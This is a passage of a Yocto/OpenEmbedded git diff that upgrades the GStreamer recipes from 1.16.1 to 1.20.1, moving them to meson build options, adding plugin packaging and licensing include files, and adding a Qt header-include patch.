+ # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
+ if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
+ return '-Dnls=disabled'
+ return '-Dnls=enabled'
+
+# Not all plugin sets contain examples, so the -Dexamples
+# option needs to be added conditionally.
+GST_PLUGIN_SET_HAS_EXAMPLES ?= "1"
+
+EXTRA_OEMESON += " \
+ ${@bb.utils.contains('GST_PLUGIN_SET_HAS_EXAMPLES', '1', '-Dexamples=disabled', '', d)} \
+ ${@gettext_oemeson(d)} \
+"
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch
new file mode 100644
index 0000000000..788d752058
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch
@@ -0,0 +1,56 @@
+From bf8b2fa0f6870589d036f0f33c140a3f85b530a0 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 31 Mar 2020 21:23:28 -0700
+Subject: [PATCH] qt: include ext/qt/gstqtgl.h instead of gst/gl/gstglfuncs.h
+
+gst/gl/gstglfuncs.h is included via ext/qt/gstqtgl.h which has logic to
+prefer qt headers definitions for GLsync
+
+This helps in fixing build errors like below
+
+/mnt/b/yoe/build/tmp/work/cortexa7t2hf-neon-vfpv4-yoe-linux-gnueabi/gstreamer1.0-plugins-good/1.16.2-r0/recipe-sysroot/usr/include/QtGui/qopengles2ext.h:24:26: error: conflicting declaration 'typedef struct __GLsync* GLsync'
+ 24 | typedef struct __GLsync *GLsync;
+ | ^~~~~~
+In file included from /mnt/b/yoe/build/tmp/work/cortexa7t2hf-neon-vfpv4-yoe-linux-gnueabi/gstreamer1.0-plugins-good/1.16.2-r0/recipe-sysroot/usr/include/gstreamer-1.0/gst/gl/gstglfuncs.h:84,
+ from ../gst-plugins-good-1.16.2/ext/qt/gstqsgtexture.cc:30:
+/mnt/b/yoe/build/tmp/work/cortexa7t2hf-neon-vfpv4-yoe-linux-gnueabi/gstreamer1.0-plugins-good/1.16.2-r0/recipe-sysroot/usr/include/gstreamer-1.0/gst/gl/glprototypes/gstgl_compat.h:40:18: note: previous declaration as 'typedef void* GLsync
+'
+ 40 | typedef gpointer GLsync;
+ | ^~~~~~
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ext/qt/gstqsgtexture.cc | 2 +-
+ ext/qt/qtwindow.cc | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/ext/qt/gstqsgtexture.cc b/ext/qt/gstqsgtexture.cc
+index a05d26e..4cc9fc6 100644
+--- a/ext/qt/gstqsgtexture.cc
++++ b/ext/qt/gstqsgtexture.cc
+@@ -27,7 +27,7 @@
+
+ #include <gst/video/video.h>
+ #include <gst/gl/gl.h>
+-#include <gst/gl/gstglfuncs.h>
++#include <ext/qt/gstqtgl.h>
+ #include "gstqsgtexture.h"
+
+ #define GST_CAT_DEFAULT gst_qsg_texture_debug
+diff --git a/ext/qt/qtwindow.cc b/ext/qt/qtwindow.cc
+index 9360c33..0dfd3f1 100644
+--- a/ext/qt/qtwindow.cc
++++ b/ext/qt/qtwindow.cc
+@@ -25,7 +25,7 @@
+ #include <stdio.h>
+
+ #include <gst/video/video.h>
+-#include <gst/gl/gstglfuncs.h>
++#include <ext/qt/gstqtgl.h>
+ #include "qtwindow.h"
+ #include "gstqsgtexture.h"
+ #include "gstqtglutility.h"
+--
+2.28.0
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.16.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.16.1.bb
deleted file mode 100644
index 0fa7b86ffe..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.16.1.bb
+++ /dev/null
@@ -1,76 +0,0 @@
-require gstreamer1.0-plugins.inc
-
-SRC_URI = " \
- https://gstreamer.freedesktop.org/src/gst-plugins-good/gst-plugins-good-${PV}.tar.xz \
- file://0001-introspection.m4-prefix-pkgconfig-paths-with-PKG_CON.patch \
- "
-
-SRC_URI[md5sum] = "515987ee763256840a11bd8ea098f2bf"
-SRC_URI[sha256sum] = "9fbabe69018fcec707df0b71150168776040cde6c1a26bb5a82a136755fa8f1f"
-
-S = "${WORKDIR}/gst-plugins-good-${PV}"
-
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://common/coverage/coverage-report.pl;beginline=2;endline=17;md5=a4e1830fce078028c8f0974161272607 \
- file://gst/replaygain/rganalysis.c;beginline=1;endline=23;md5=b60ebefd5b2f5a8e0cab6bfee391a5fe"
-
-DEPENDS += "gstreamer1.0-plugins-base libcap"
-RPROVIDES_${PN}-pulseaudio += "${PN}-pulse"
-RPROVIDES_${PN}-soup += "${PN}-souphttpsrc"
-
-inherit gettext
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio x11', d)} \
- bz2 cairo flac gdk-pixbuf gudev jpeg lame libpng mpg123 soup speex taglib v4l2 zlib \
-"
-
-X11DEPENDS = "virtual/libx11 libsm libxrender libxfixes libxdamage"
-
-PACKAGECONFIG[bz2] = "--enable-bz2,--disable-bz2,bzip2"
-PACKAGECONFIG[cairo] = "--enable-cairo,--disable-cairo,cairo"
-PACKAGECONFIG[dv1394] = "--enable-dv1394,--disable-dv1394,libiec61883 libavc1394 libraw1394"
-PACKAGECONFIG[flac] = "--enable-flac,--disable-flac,flac"
-PACKAGECONFIG[gdk-pixbuf] = "--enable-gdk_pixbuf,--disable-gdk_pixbuf,gdk-pixbuf"
-PACKAGECONFIG[gtk] = "--enable-gtk3,--disable-gtk3,gtk+3"
-PACKAGECONFIG[gudev] = "--with-gudev,--without-gudev,libgudev"
-PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
-PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg"
-PACKAGECONFIG[lame] = "--enable-lame,--disable-lame,lame"
-PACKAGECONFIG[libpng] = "--enable-libpng,--disable-libpng,libpng"
-PACKAGECONFIG[libv4l2] = "--with-libv4l2,--without-libv4l2,v4l-utils"
-PACKAGECONFIG[mpg123] = "--enable-mpg123,--disable-mpg123,mpg123"
-PACKAGECONFIG[pulseaudio] = "--enable-pulse,--disable-pulse,pulseaudio"
-PACKAGECONFIG[soup] = "--enable-soup,--disable-soup,libsoup-2.4"
-PACKAGECONFIG[speex] = "--enable-speex,--disable-speex,speex"
-PACKAGECONFIG[taglib] = "--enable-taglib,--disable-taglib,taglib"
-PACKAGECONFIG[v4l2] = "--enable-gst_v4l2 --enable-v4l2-probe,--disable-gst_v4l2"
-PACKAGECONFIG[vpx] = "--enable-vpx,--disable-vpx,libvpx"
-PACKAGECONFIG[wavpack] = "--enable-wavpack,--disable-wavpack,wavpack"
-PACKAGECONFIG[x11] = "--enable-x,--disable-x,${X11DEPENDS}"
-PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
-
-# qt5 support is disabled, because it is not present in OE core, and requires more work than
-# just adding a packageconfig (it requires access to moc, uic, rcc, and qmake paths).
-# This is better done in a separate qt5 layer (which then should add a "qt5" packageconfig
-# in a gstreamer1.0-plugins-good bbappend).
-
-EXTRA_OECONF += " \
- --enable-oss \
- --disable-aalib \
- --disable-aalibtest \
- --disable-directsound \
- --disable-libcaca \
- --disable-libdv \
- --disable-oss4 \
- --disable-osx_audio \
- --disable-osx_video \
- --disable-qt \
- --disable-shout2 \
- --disable-twolame \
- --disable-waveform \
-"
-
-FILES_${PN}-equalizer += "${datadir}/gstreamer-1.0/presets/*.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.20.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.20.1.bb
new file mode 100644
index 0000000000..08ff5a0bb5
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.20.1.bb
@@ -0,0 +1,76 @@
+require gstreamer1.0-plugins-common.inc
+
+DESCRIPTION = "'Good' GStreamer plugins"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-good/-/issues"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-good/gst-plugins-good-${PV}.tar.xz \
+ file://0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch \
+ "
+
+SRC_URI[sha256sum] = "3c66876f821d507bcdbebffb08b4f31a322727d6753f65a0f02c905ecb7084aa"
+
+S = "${WORKDIR}/gst-plugins-good-${PV}"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
+ file://gst/replaygain/rganalysis.c;beginline=1;endline=23;md5=b60ebefd5b2f5a8e0cab6bfee391a5fe"
+
+DEPENDS += "gstreamer1.0-plugins-base libcap zlib"
+RPROVIDES:${PN}-pulseaudio += "${PN}-pulse"
+RPROVIDES:${PN}-soup += "${PN}-souphttpsrc"
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio x11', d)} \
+ ${@bb.utils.contains('TUNE_FEATURES', 'm64', 'asm', '', d)} \
+ bz2 cairo flac gdk-pixbuf gudev jpeg lame libpng mpg123 soup speex taglib v4l2 \
+"
+
+X11DEPENDS = "virtual/libx11 libsm libxrender libxfixes libxdamage"
+X11ENABLEOPTS = "-Dximagesrc=enabled -Dximagesrc-xshm=enabled -Dximagesrc-xfixes=enabled -Dximagesrc-xdamage=enabled"
+X11DISABLEOPTS = "-Dximagesrc=disabled -Dximagesrc-xshm=disabled -Dximagesrc-xfixes=disabled -Dximagesrc-xdamage=disabled"
+
+QT5WAYLANDDEPENDS = "${@bb.utils.contains("DISTRO_FEATURES", "wayland", "qtwayland", "", d)}"
+
+PACKAGECONFIG[asm] = "-Dasm=enabled,-Dasm=disabled,nasm-native"
+PACKAGECONFIG[bz2] = "-Dbz2=enabled,-Dbz2=disabled,bzip2"
+PACKAGECONFIG[cairo] = "-Dcairo=enabled,-Dcairo=disabled,cairo"
+PACKAGECONFIG[dv1394] = "-Ddv1394=enabled,-Ddv1394=disabled,libiec61883 libavc1394 libraw1394"
+PACKAGECONFIG[flac] = "-Dflac=enabled,-Dflac=disabled,flac"
+PACKAGECONFIG[gdk-pixbuf] = "-Dgdk-pixbuf=enabled,-Dgdk-pixbuf=disabled,gdk-pixbuf"
+PACKAGECONFIG[gtk] = "-Dgtk3=enabled,-Dgtk3=disabled,gtk+3"
+PACKAGECONFIG[gudev] = "-Dv4l2-gudev=enabled,-Dv4l2-gudev=disabled,libgudev"
+PACKAGECONFIG[jack] = "-Djack=enabled,-Djack=disabled,jack"
+PACKAGECONFIG[jpeg] = "-Djpeg=enabled,-Djpeg=disabled,jpeg"
+PACKAGECONFIG[lame] = "-Dlame=enabled,-Dlame=disabled,lame"
+PACKAGECONFIG[libpng] = "-Dpng=enabled,-Dpng=disabled,libpng"
+PACKAGECONFIG[libv4l2] = "-Dv4l2-libv4l2=enabled,-Dv4l2-libv4l2=disabled,v4l-utils"
+PACKAGECONFIG[mpg123] = "-Dmpg123=enabled,-Dmpg123=disabled,mpg123"
+PACKAGECONFIG[pulseaudio] = "-Dpulse=enabled,-Dpulse=disabled,pulseaudio"
+PACKAGECONFIG[qt5] = "-Dqt5=enabled,-Dqt5=disabled,qtbase qtdeclarative qtbase-native ${QT5WAYLANDDEPENDS}"
+PACKAGECONFIG[soup] = "-Dsoup=enabled,-Dsoup=disabled,libsoup-2.4"
+PACKAGECONFIG[speex] = "-Dspeex=enabled,-Dspeex=disabled,speex"
+PACKAGECONFIG[rpi] = "-Drpicamsrc=enabled,-Drpicamsrc=disabled,userland"
+PACKAGECONFIG[taglib] = "-Dtaglib=enabled,-Dtaglib=disabled,taglib"
+PACKAGECONFIG[v4l2] = "-Dv4l2=enabled -Dv4l2-probe=true,-Dv4l2=disabled -Dv4l2-probe=false"
+PACKAGECONFIG[vpx] = "-Dvpx=enabled,-Dvpx=disabled,libvpx"
+PACKAGECONFIG[wavpack] = "-Dwavpack=enabled,-Dwavpack=disabled,wavpack"
+PACKAGECONFIG[x11] = "${X11ENABLEOPTS},${X11DISABLEOPTS},${X11DEPENDS}"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Daalib=disabled \
+ -Ddirectsound=disabled \
+ -Ddv=disabled \
+ -Dlibcaca=disabled \
+ -Doss=enabled \
+ -Doss4=disabled \
+ -Dosxaudio=disabled \
+ -Dosxvideo=disabled \
+ -Dshout2=disabled \
+ -Dtwolame=disabled \
+ -Dwaveform=disabled \
+"
+
+FILES:${PN}-equalizer += "${datadir}/gstreamer-1.0/presets/*.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-license.inc b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-license.inc
new file mode 100644
index 0000000000..6638f13540
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-license.inc
@@ -0,0 +1,19 @@
+# This .inc file contains functionality for automatically setting
+# the the license of all plugins according to the GSTREAMER_GPL.
+
+PACKAGESPLITFUNCS:append = " set_gstreamer_license "
+
+python set_gstreamer_license () {
+ import oe.utils
+ pn = d.getVar('PN') + '-'
+ gpl_plugins_names = [pn+plugin for plugin in d.getVar('GSTREAMER_GPL').split()]
+ for pkg in oe.utils.packages_filter_out_system(d):
+ if pkg in gpl_plugins_names:
+ d.setVar('LICENSE:' + pkg, 'GPL-2.0-or-later')
+ else:
+ d.setVar('LICENSE:' + pkg, 'LGPL-2.1-or-later')
+}
+
+EXTRA_OEMESON += " \
+ ${@bb.utils.contains_any('PACKAGECONFIG', "${GSTREAMER_GPL}", '-Dgpl=enabled', '-Dgpl=disabled', d)} \
+ "
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc
new file mode 100644
index 0000000000..afc7be40c8
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc
@@ -0,0 +1,73 @@
+# This .inc file contains functionality for automatically splitting
+# built plugins into individual packages for each plugin. A -meta
+# package is also set up that has no files of its own, but contains
+# the names of all plugin packages in its RDEPENDS list.
+#
+# This is mainly used by the gstreamer1.0-plugins-* plugin set recipes,
+# but can be used in any recipe that produces GStreamer plugins.
+
+# Dynamically generate packages for all enabled plugins
+PACKAGES_DYNAMIC = "^${PN}-.* ^libgst.*"
+
+PACKAGESPLITFUNCS:prepend = " split_gstreamer10_packages "
+PACKAGESPLITFUNCS:append = " set_gstreamer10_metapkg_rdepends "
+
+python split_gstreamer10_packages () {
+ gst_libdir = d.expand('${libdir}/gstreamer-1.0')
+ postinst = d.getVar('plugin_postinst')
+ glibdir = d.getVar('libdir')
+
+ # GStreamer libraries
+ do_split_packages(d, glibdir, r'^lib(.*)\.so\.*', 'lib%s', 'GStreamer 1.0 %s library', extra_depends='', allow_links=True)
+ # GStreamer plugin shared objects
+ do_split_packages(d, gst_libdir, r'libgst(.*)\.so$', d.expand('${PN}-%s'), 'GStreamer 1.0 plugin for %s', postinst=postinst, extra_depends='')
+ # GObject introspection files for GStreamer plugins
+ do_split_packages(d, glibdir+'/girepository-1.0', r'Gst(.*)-1.0\.typelib$', d.expand('${PN}-%s-typelib'), 'GStreamer 1.0 typelib file for %s', postinst=postinst, extra_depends='')
+ # Static GStreamer libraries for development
+ do_split_packages(d, gst_libdir, r'libgst(.*)\.a$', d.expand('${PN}-%s-staticdev'), 'GStreamer 1.0 plugin for %s (static development files)', extra_depends='${PN}-staticdev')
+}
+
+python set_gstreamer10_metapkg_rdepends () {
+ import os
+ import oe.utils
+
+ # Go through all generated packages (excluding the main package and
+ # the -meta package itself) and add them to the -meta package as RDEPENDS.
+
+ pn = d.getVar('PN')
+ metapkg = pn + '-meta'
+ d.setVar('ALLOW_EMPTY:' + metapkg, "1")
+ d.setVar('FILES:' + metapkg, "")
+ exclude = [ pn, pn + '-meta' ]
+ metapkg_rdepends = []
+ pkgdest = d.getVar('PKGDEST')
+ for pkg in oe.utils.packages_filter_out_system(d):
+ if pkg not in exclude and pkg not in metapkg_rdepends:
+ # See if the package is empty by looking at the contents of its PKGDEST subdirectory.
+ # If this subdirectory is empty, then the package is.
+ # Empty packages do not get added to the meta package's RDEPENDS
+ pkgdir = os.path.join(pkgdest, pkg)
+ if os.path.exists(pkgdir):
+ dir_contents = os.listdir(pkgdir) or []
+ else:
+ dir_contents = []
+ is_empty = len(dir_contents) == 0
+ if not is_empty:
+ metapkg_rdepends.append(pkg)
+ d.setVar('RDEPENDS:' + metapkg, ' '.join(metapkg_rdepends))
+ d.setVar('DESCRIPTION:' + metapkg, pn + ' meta package')
+}
+
+# each plugin-dev depends on PN-dev, plugin-staticdev on PN-staticdev
+# so we need them even when empty (like in gst-plugins-good case)
+ALLOW_EMPTY:${PN} = "1"
+ALLOW_EMPTY:${PN}-dev = "1"
+ALLOW_EMPTY:${PN}-staticdev = "1"
+
+PACKAGES += "${PN}-apps ${PN}-meta ${PN}-glib"
+
+FILES:${PN} = ""
+FILES:${PN}-apps = "${bindir}"
+FILES:${PN}-glib = "${datadir}/glib-2.0"
+
+RRECOMMENDS:${PN} += "${PN}-meta"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.16.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.16.1.bb
deleted file mode 100644
index ecab318899..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.16.1.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-require gstreamer1.0-plugins.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://tests/check/elements/xingmux.c;beginline=1;endline=21;md5=4c771b8af188724855cb99cadd390068"
-
-LICENSE = "GPLv2+ & LGPLv2.1+ & LGPLv2+"
-LICENSE_FLAGS = "commercial"
-
-SRC_URI = " \
- https://gstreamer.freedesktop.org/src/gst-plugins-ugly/gst-plugins-ugly-${PV}.tar.xz \
- file://0001-introspection.m4-prefix-pkgconfig-paths-with-PKG_CON.patch \
- "
-SRC_URI[md5sum] = "668795903cb4971fba9aa89abdea8369"
-SRC_URI[sha256sum] = "4bf913b2ca5195ac3b53b5e3ade2dc7c45d2258507552ddc850c5fa425968a1d"
-
-S = "${WORKDIR}/gst-plugins-ugly-${PV}"
-
-DEPENDS += "gstreamer1.0-plugins-base"
-
-inherit gettext
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- a52dec mpeg2dec \
-"
-
-PACKAGECONFIG[a52dec] = "--enable-a52dec,--disable-a52dec,liba52"
-PACKAGECONFIG[amrnb] = "--enable-amrnb,--disable-amrnb,opencore-amr"
-PACKAGECONFIG[amrwb] = "--enable-amrwb,--disable-amrwb,opencore-amr"
-PACKAGECONFIG[cdio] = "--enable-cdio,--disable-cdio,libcdio"
-PACKAGECONFIG[dvdread] = "--enable-dvdread,--disable-dvdread,libdvdread"
-PACKAGECONFIG[mpeg2dec] = "--enable-mpeg2dec,--disable-mpeg2dec,mpeg2dec"
-PACKAGECONFIG[x264] = "--enable-x264,--disable-x264,x264"
-
-EXTRA_OECONF += " \
- --disable-sidplay \
-"
-
-FILES_${PN}-amrnb += "${datadir}/gstreamer-1.0/presets/GstAmrnbEnc.prs"
-FILES_${PN}-x264 += "${datadir}/gstreamer-1.0/presets/GstX264Enc.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.20.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.20.1.bb
new file mode 100644
index 0000000000..b0746c087a
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.20.1.bb
@@ -0,0 +1,46 @@
+require gstreamer1.0-plugins-common.inc
+require gstreamer1.0-plugins-license.inc
+
+DESCRIPTION = "'Ugly GStreamer plugins"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-ugly/-/issues"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
+ file://tests/check/elements/xingmux.c;beginline=1;endline=21;md5=4c771b8af188724855cb99cadd390068"
+
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later"
+LICENSE_FLAGS = "commercial"
+
+SRC_URI = " \
+ https://gstreamer.freedesktop.org/src/gst-plugins-ugly/gst-plugins-ugly-${PV}.tar.xz \
+ "
+SRC_URI[sha256sum] = "42035145e29983308d2828207bb4ef933ed0407bb587fb3a569738c6a57fdb19"
+
+S = "${WORKDIR}/gst-plugins-ugly-${PV}"
+
+DEPENDS += "gstreamer1.0-plugins-base"
+
+GST_PLUGIN_SET_HAS_EXAMPLES = "0"
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ a52dec mpeg2dec \
+"
+
+PACKAGECONFIG[amrnb] = "-Damrnb=enabled,-Damrnb=disabled,opencore-amr"
+PACKAGECONFIG[amrwb] = "-Damrwbdec=enabled,-Damrwbdec=disabled,opencore-amr"
+PACKAGECONFIG[a52dec] = "-Da52dec=enabled,-Da52dec=disabled,liba52"
+PACKAGECONFIG[cdio] = "-Dcdio=enabled,-Dcdio=disabled,libcdio"
+PACKAGECONFIG[dvdread] = "-Ddvdread=enabled,-Ddvdread=disabled,libdvdread"
+PACKAGECONFIG[mpeg2dec] = "-Dmpeg2dec=enabled,-Dmpeg2dec=disabled,mpeg2dec"
+PACKAGECONFIG[x264] = "-Dx264=enabled,-Dx264=disabled,x264"
+
+GSTREAMER_GPL = "${@bb.utils.filter('PACKAGECONFIG', 'a52dec cdio dvdread mpeg2dec x264', d)}"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dsidplay=disabled \
+"
+
+FILES:${PN}-amrnb += "${datadir}/gstreamer-1.0/presets/GstAmrnbEnc.prs"
+FILES:${PN}-x264 += "${datadir}/gstreamer-1.0/presets/GstX264Enc.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins.inc b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins.inc
deleted file mode 100644
index bc24b05fec..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins.inc
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "Plugins for the GStreamer multimedia framework 1.x"
-HOMEPAGE = "http://gstreamer.freedesktop.org/"
-BUGTRACKER = "https://bugzilla.gnome.org/enter_bug.cgi?product=Gstreamer"
-SECTION = "multimedia"
-
-DEPENDS = "gstreamer1.0 glib-2.0-native"
-
-SRC_URI_append = " file://gtk-doc-tweaks.patch"
-
-inherit autotools pkgconfig upstream-version-is-even gtk-doc
-
-acpaths = "-I ${S}/common/m4 -I ${S}/m4"
-
-LIBV = "1.0"
-require gst-plugins-package.inc
-
-# Orc enables runtime JIT compilation of data processing routines from Orc
-# bytecode to SIMD instructions for various architectures (currently SSE, MMX,
-# MIPS, Altivec and NEON are supported).
-
-GSTREAMER_ORC ?= "orc"
-
-PACKAGECONFIG[debug] = "--enable-debug,--disable-debug"
-PACKAGECONFIG[orc] = "--enable-orc,--disable-orc,orc orc-native"
-PACKAGECONFIG[valgrind] = "--enable-valgrind,--disable-valgrind,valgrind"
-
-export ORCC = "${STAGING_DIR_NATIVE}${bindir}/orcc"
-
-EXTRA_OECONF = " \
- --disable-examples \
-"
-
-delete_pkg_m4_file() {
- # This m4 file is out of date and is missing PKG_CONFIG_SYSROOT_PATH tweaks which we need for introspection
- rm "${S}/common/m4/pkg.m4" || true
- rm -f "${S}/common/m4/gtk-doc.m4"
-}
-
-do_configure[prefuncs] += " delete_pkg_m4_file"
-
-PACKAGES_DYNAMIC = "^${PN}-.*"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.16.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.16.1.bb
deleted file mode 100644
index 5a950f183c..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.16.1.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "Python bindings for GStreamer 1.0"
-HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-python/"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c34deae4e395ca07e725ab0076a5f740"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz"
-SRC_URI[md5sum] = "499645fbd1790c5845c02a3998dccc1b"
-SRC_URI[sha256sum] = "b469c8955126f41b8ce0bf689b7029f182cd305f422b3a8df35b780bd8347489"
-
-DEPENDS = "gstreamer1.0 python3-pygobject"
-RDEPENDS_${PN} += "gstreamer1.0 python3-pygobject"
-
-PNREAL = "gst-python"
-
-S = "${WORKDIR}/${PNREAL}-${PV}"
-
-# gobject-introspection is mandatory and cannot be configured
-REQUIRED_DISTRO_FEATURES = "gobject-introspection-data"
-UNKNOWN_CONFIGURE_WHITELIST_append = " --enable-introspection --disable-introspection"
-
-inherit autotools pkgconfig distutils3-base upstream-version-is-even gobject-introspection distro_features_check
-
-EXTRA_OECONF += "--with-libpython-dir=${libdir}"
-
-do_install_append() {
-
- # Note that this particular find line is taken from the Debian packaging for
- # gst-python1.0.
- find "${D}" \
- -name '*.pyc' -o \
- -name '*.pyo' -o \
- -name '*.la' -o \
- -name 'libgstpythonplugin*' \
- -delete
-}
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.20.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.20.1.bb
new file mode 100644
index 0000000000..a8ae274631
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.20.1.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Python bindings for GStreamer 1.0"
+DESCRIPTION = "GStreamer Python binding overrides (complementing the bindings \
+provided by python-gi) "
+HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-python/"
+SECTION = "multimedia"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c34deae4e395ca07e725ab0076a5f740"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "ba6cd59faa3db3981d8c6982351c239d823c0b8e80b1acf58d2997b050289422"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base python3-pygobject"
+RDEPENDS:${PN} += "gstreamer1.0 gstreamer1.0-plugins-base python3-pygobject"
+
+PNREAL = "gst-python"
+
+S = "${WORKDIR}/${PNREAL}-${PV}"
+
+EXTRA_OEMESON += "\
+ -Dtests=disabled \
+ -Dplugin=enabled \
+ -Dlibpython-dir=${libdir} \
+"
+
+# gobject-introspection is mandatory and cannot be configured
+REQUIRED_DISTRO_FEATURES = "gobject-introspection-data"
+GIR_MESON_OPTION = ""
+
+inherit meson pkgconfig setuptools3-base upstream-version-is-even gobject-introspection features_check
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.16.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.16.1.bb
deleted file mode 100644
index 45302ef4f6..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.16.1.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "A library on top of GStreamer for building an RTSP server"
-HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-rtsp-server/"
-SECTION = "multimedia"
-LICENSE = "LGPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d"
-
-DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base"
-
-PNREAL = "gst-rtsp-server"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz \
- file://0001-introspection.m4-prefix-pkgconfig-paths-with-PKG_CON.patch \
- file://gtk-doc-tweaks.patch \
- "
-
-SRC_URI[md5sum] = "380d6a42e856c32fcefa508ad57129e0"
-SRC_URI[sha256sum] = "b0abacad2f86f60d63781d2b24443c5668733e8b08664bbef94124906d700144"
-
-S = "${WORKDIR}/${PNREAL}-${PV}"
-
-inherit autotools pkgconfig upstream-version-is-even gobject-introspection gtk-doc
-
-EXTRA_OECONF = "--disable-examples --disable-tests"
-
-# Starting with 1.8.0 gst-rtsp-server includes dependency-less plugins as well
-LIBV = "1.0"
-require gst-plugins-package.inc
-
-delete_pkg_m4_file() {
